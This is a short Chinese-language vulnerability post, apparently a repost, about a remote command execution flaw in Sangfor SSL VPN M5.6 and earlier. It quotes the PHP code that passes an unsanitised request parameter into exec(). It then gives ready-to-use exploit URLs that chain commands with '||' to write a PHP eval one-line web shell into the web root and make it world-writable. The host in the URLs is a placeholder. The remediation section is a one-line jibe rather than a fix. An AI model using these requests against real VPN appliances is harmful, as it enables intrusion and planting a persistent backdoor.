深信服的程序员安全意识太低了,直接一个参数可以执行任意命令
$args = $_REQUEST['cmd'];
/*something here*/
exec("tsutil -proxy $ip $args", $output, $ret);
懂php exec函数的都一眼看出问题
版本SSLVPN M5.6及以下 没测试最新版本
http://SSLVPN.SANGFOR.COM:1000/cgi-bin/php-cgi/html/daemon/tsproxy.php?cmd=ifconfig||echo%20'%3C?php%20eval($_POST[cmd]);?%3E'%20%3E/app/usr/sbin/webui/html/svpn.php
执行echo '<?php eval($_POST[cmd]);?>' >/app/usr/sbin/webui/html/svpn.php 生成一句话
http://SSLVPN.SANGFOR.COM:1000/cgi-bin/php-cgi/html/daemon/tsproxy.php?cmd=ifconfig||chmod 777 /app/usr/sbin/webui/html/svpn.php
修改svpn权限
SSLVPN.SANGFOR.COM不是真实地址 只是一个例子
$args = $_REQUEST['cmd'];
$ip = $_SERVER['REMOTE_ADDR'];
exec("tsutil -proxy $ip $args", $output, $ret);
修复方案:
哎 我还能说什么
去找人做个程序员安全编程意识 培训 吧
查看更多关于深信服ssl vpn远程代码执行漏洞及修复 - 网站安全的详细内容...